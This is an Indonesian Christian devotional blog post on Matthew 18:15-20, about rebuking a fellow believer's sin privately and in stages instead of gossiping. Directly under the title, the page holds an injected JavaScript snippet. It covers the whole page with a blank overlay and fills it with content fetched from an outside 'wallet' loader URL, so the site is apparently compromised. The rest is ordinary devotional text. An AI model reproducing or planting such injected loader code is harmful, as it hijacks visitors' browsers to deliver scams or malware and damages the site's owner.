BILA SESAMA BERBUAT DOSA

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Minggu, 10 September 2023

Matius 18 : 15 – 20

Pengantar

Perenungan hari ini didasarkan pada kenyataan bahwa umat Allah bukanlah orang yang tidak dapat jatuh ke dalam dosa. Ketika hal itu terjadi, tidak sedikit orang kristen yang menyikapinya dengan salah, misalnya dengan mempergunjingkannya atau bahkan membullynya. Itu sebabnya hari ini kita perlu merenungkan pengajaran Kristus terkait dengan hal tersebut.

Pemahaman

ay. 15 : Apakah pengertian menegor? Apakah pula yang harus kita perhatikan dalam menegor itu?

ay. 16 : Mengapa ada tahapan-tahapan di dalam menegor? Apakah sebenarnya yang ingin Kristus ajarkan melalui tahapan tersebut?

Ketika melihat sesama saudara seiman berbuat dosa, Kristus mengajar kita untuk menegor orang tersebut, bukan menjadikannya bahan pergunjingan. Dalam perenungan hari ini, setidaknya ada dua hal yang patut kita perhatikan terkait dengan tegoran tersebut. Pertama, tentang pengertian menegor. Kata “menegor” di sini dapat diartikan sebagai menunjukkan kesalahan, sebagaimana yang diterjemahkan dalam beberapa terjemahan Alkitab seperti BIS, NIV, KJV, NKJV. Hal ini berarti kita perlu berbicara berdasarkan fakta, bukan berdasarkan kata orang. Pentingnya fakta sebagai dasar teguran itu juga nampak dalam langkah kedua, yakni bila orang yang kita tegor itu tidak mau mendengarkan kita, maka kita perlu membawa satu atau dua orang saksi. Keberadaan saksi ini bukan hanya untuk memperkuat teguran kita, tetapi juga untuk menguji apakah fakta yang kita gunakan sebagai dasar teguran itu benar atau tidak.

Kedua, tentang tujuan dari tegoran tersebut. Kita perlu menjaga kemurnian motivasi kita dalam melakukan tegoran itu.

Tegoran itu bukanlah dimaksudkan untuk mempermalukan orang tersebut, melainkan untuk menyelamatkannya dari keberdosaan yang lebih parah. Beberapa pernyataan yang menyatakan tujuan tersebut misalnya dapat kita lihat di ayat 15, di mana tegoran itu pertama-tama harus dilakukan secara pribadi, empat mata. Selain itu Kristus juga menyatakan bahwa bila tegoran itu didengarkan, maka hasilnya adalah orang yang bersalah itu didapatkan kembali. Pengertian “mendapatnya kembali” (Yun.: ekerdaino) di sini sama seperti ketika kita mendapatkan keuntungan pada waktu berbisnis (bnd. Yak. 4:13), atau memenangkan jiwa bagi Kristus (bnd. 1Kor. 9:19-20; 1Pet. 3:1), atau terpelihara karena tidak kekurangan makan (Kis. 27:21).

Refleksi                                                                

Bagaimanakah sikap kita bila mendengar saudara seiman kita yang melakukan dosa? Apakah kita membiarkan saja karena enggan direpotin? Atau memperbincangkannya sehingga menjadi bahan perbincangan   dan    orang    tersebut    dipermalukan?    Atau, m e n g u m p u l k a n b u k t i y a n g k o m p r e h e n s i f d a n mengkonfirmasikannya, sehingga dapat menjaga kemurnian hati untuk membawanya kembali kepada Tuhan melalui teguran bertahap?

Tekadku

Doa: Bapa surgawi, tolong saya untuk menyikapi saudara seiman yang berdosa dengan penuh kasih, amin.

Tindakanku

Saya tidak akan memperbincangkan kesalahan dan dosa sesama sebelum memperbincangkan hal itu dengan orang tersebut.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *